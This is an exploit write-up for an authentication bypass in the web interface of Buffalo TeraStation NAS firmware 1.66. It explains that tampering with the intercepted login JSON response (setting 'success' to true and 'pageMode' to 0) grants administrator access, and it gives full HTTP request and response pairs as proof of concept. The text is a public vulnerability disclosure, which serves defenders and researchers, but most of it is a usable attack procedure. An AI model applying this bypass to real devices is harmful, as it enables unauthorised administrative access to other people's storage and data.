Buffalo TeraStation Network Attached Storage (NAS) 1.66 Authentication Bypass

`# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass  
# Date: 2022-08-11  
# Exploit Author: JORDAN GLOVER  
# Type: WEBAPPS  
# Platform: HARDWARE  
# Vendor Homepage: https://www.buffalotech.com/  
# Model: TeraStation Series  
# Firmware Version: 1.66  
# Tested on: Windows 10   
  
  
An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.  
  
The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.  
  
Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.  
  
If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.  
  
  
POC #1 Authentication Failure  
  
Request  
POST /dynamic.pl HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 45  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/static/index.html  
  
bufaction=verifyLogin&user=Jordan&password=Jordan  
  
  
Response  
HTTP/1.1 200 OK  
Content-type: text/html  
Pragma: no-cache  
Cache-Control: no-store, no-cache, must-revalidate  
Cache-Control: post-check=0, pre-check=0  
Expires: Thu, 01 Dec 1994 16:00:00 GMT  
Connection: close  
Date: Mon, 30 Jun 2008 02:39:51 GMT  
Server: lighttpd/1.4.32  
Content-Length: 94  
  
{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}  
  
Incorrect Username or Password   
  
  
  
POC #2 Authentication Success  
  
Request  
POST /dynamic.pl HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 45  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/static/index.html  
  
bufaction=verifyLogin&user=Jordan&password=Jordan  
  
  
Intercepted Response  
HTTP/1.1 200 OK  
Content-type: text/html  
Pragma: no-cache  
Cache-Control: no-store, no-cache, must-revalidate  
Cache-Control: post-check=0, pre-check=0  
Expires: Thu, 01 Dec 1994 16:00:00 GMT  
Connection: close  
Date: Mon, 30 Jun 2008 02:39:51 GMT  
Server: lighttpd/1.4.32  
Content-Length: 94  
  
{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}  
  
Login Successful  
`